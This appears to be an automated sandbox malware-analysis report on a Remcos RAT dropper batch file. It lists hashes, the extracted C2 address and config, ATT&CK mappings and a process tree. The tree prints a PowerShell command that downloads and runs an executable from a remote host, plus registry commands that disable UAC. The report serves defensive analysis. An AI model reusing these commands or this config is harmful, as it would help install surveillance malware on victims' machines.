remcos | 0dac79206aeaf201040bf80b58cef6b53585c6af811c3a426206e01bd9da63a3

General

Target

ohniautostart.bat
Size

867B
MD5

0b3830cacd14af38fbf28aa120ce4c7a
SHA1

cac307910b71e59cb9b0e1fa45524af988784c5d
SHA256

0dac79206aeaf201040bf80b58cef6b53585c6af811c3a426206e01bd9da63a3
SHA512

518ad42daac7f48ba3320f575494517538502a4130b0321ad4d6ac33e854506ce798a795819698a02e2710da31caabffb6518cacb6b735fc7b4474a682e34078

Score

10^/10

remcos remotehost discovery evasion execution rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

194.59.31.143:4444

Attributes

audio_folder
xboxGameBar
audio_path
%SystemDrive%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
ploi.exe
copy_folder
koi
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
false
install_path
%SystemDrive%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ZU01ZO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4056	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4056	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4852	nostart.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4852 set thread context of 1532	4852	nostart.exe	85
PID 1532 set thread context of 4008	1532	iexplore.exe	89

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nostart.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4768	timeout.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
1484	reg.exe
4904	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4056	powershell.exe
4056	powershell.exe
4852	nostart.exe
4852	nostart.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4852	nostart.exe
1532	iexplore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4056	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4536 wrote to memory of 4056	4536	cmd.exe	80
PID 4536 wrote to memory of 4056	4536	cmd.exe	80
PID 4536 wrote to memory of 4852	4536	cmd.exe	82
PID 4536 wrote to memory of 4852	4536	cmd.exe	82
PID 4536 wrote to memory of 4852	4536	cmd.exe	82
PID 4536 wrote to memory of 4768	4536	cmd.exe	83
PID 4536 wrote to memory of 4768	4536	cmd.exe	83
PID 4852 wrote to memory of 1124	4852	nostart.exe	84
PID 4852 wrote to memory of 1124	4852	nostart.exe	84
PID 4852 wrote to memory of 1124	4852	nostart.exe	84
PID 4852 wrote to memory of 1532	4852	nostart.exe	85
PID 4852 wrote to memory of 1532	4852	nostart.exe	85
PID 4852 wrote to memory of 1532	4852	nostart.exe	85
PID 4852 wrote to memory of 1532	4852	nostart.exe	85
PID 1532 wrote to memory of 4448	1532	iexplore.exe	87
PID 1532 wrote to memory of 4448	1532	iexplore.exe	87
PID 1532 wrote to memory of 4448	1532	iexplore.exe	87
PID 1532 wrote to memory of 4008	1532	iexplore.exe	89
PID 1532 wrote to memory of 4008	1532	iexplore.exe	89
PID 1532 wrote to memory of 4008	1532	iexplore.exe	89
PID 1532 wrote to memory of 4008	1532	iexplore.exe	89
PID 1124 wrote to memory of 1484	1124	cmd.exe	90
PID 1124 wrote to memory of 1484	1124	cmd.exe	90
PID 1124 wrote to memory of 1484	1124	cmd.exe	90
PID 4448 wrote to memory of 4904	4448	cmd.exe	91
PID 4448 wrote to memory of 4904	4448	cmd.exe	91
PID 4448 wrote to memory of 4904	4448	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ohniautostart.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try { Invoke-WebRequest -Uri 'https://209a4381-e3eb-466a-9efc-fca8d71e6314-00-2bl68nwmi4jw4.kirk.replit.dev/nostart.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\nostart.exe' -ErrorAction Stop } catch { Write-Host 'Download failed: ' $_; exit 1 }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4056
- C:\Users\Admin\AppData\Local\Temp\nostart.exe
  "C:\Users\Admin\AppData\Local\Temp\nostart.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1124
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1484
- - \??\c:\program files (x86)\internet explorer\iexplore.exe
    "c:\program files (x86)\internet explorer\iexplore.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\SysWOW64\cmd.exe
      /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4448
    - - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4904
  - - C:\Windows\SysWOW64\svchost.exe
      svchost.exe
      4⤵
      PID:4008
- C:\Windows\system32\timeout.exe
  timeout /t 5
  2⤵
  - Delays execution with timeout.exe
  PID:4768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s2lmivq4.uev.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nostart.exe

Filesize
481KB

MD5
3a57301d5b27cf1ef1f634af4950f593

SHA1
fd21a65c2272ef3bb05521994022e56ab017b494

SHA256
8df3bcdf64bbc3752bcdc19b64fc50aaff8333c78f470e52a96001c7a7529318

SHA512
d0392099fcbb5c5e50732213d666b96b5e17c7c50ddfecad35b7930111d08c3d39d067bd9774fb7a430db68f8c84d51e863ee4b39f274329d62918610093b80c

Download Submit
memory/1532-22-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-43-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-44-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-42-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-40-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-41-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-27-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-26-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-39-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-23-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-21-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-20-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-45-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-38-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-36-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-30-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-32-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-35-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-31-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/1532-37-0x0000000001100000-0x000000000117F000-memory.dmp

Filesize
508KB

Download
memory/4008-29-0x0000000000C80000-0x0000000000CFF000-memory.dmp

Filesize
508KB

Download
memory/4008-28-0x0000000000C80000-0x0000000000CFF000-memory.dmp

Filesize
508KB

Download
memory/4056-10-0x00007FFE400D0000-0x00007FFE40B92000-memory.dmp

Filesize
10.8MB

Download
memory/4056-9-0x00000198EFFF0000-0x00000198F0012000-memory.dmp

Filesize
136KB

Download
memory/4056-16-0x00007FFE400D0000-0x00007FFE40B92000-memory.dmp

Filesize
10.8MB

Download
memory/4056-12-0x00007FFE400D0000-0x00007FFE40B92000-memory.dmp

Filesize
10.8MB

Download
memory/4056-11-0x00007FFE400D0000-0x00007FFE40B92000-memory.dmp

Filesize
10.8MB

Download
memory/4056-0-0x00007FFE400D3000-0x00007FFE400D5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads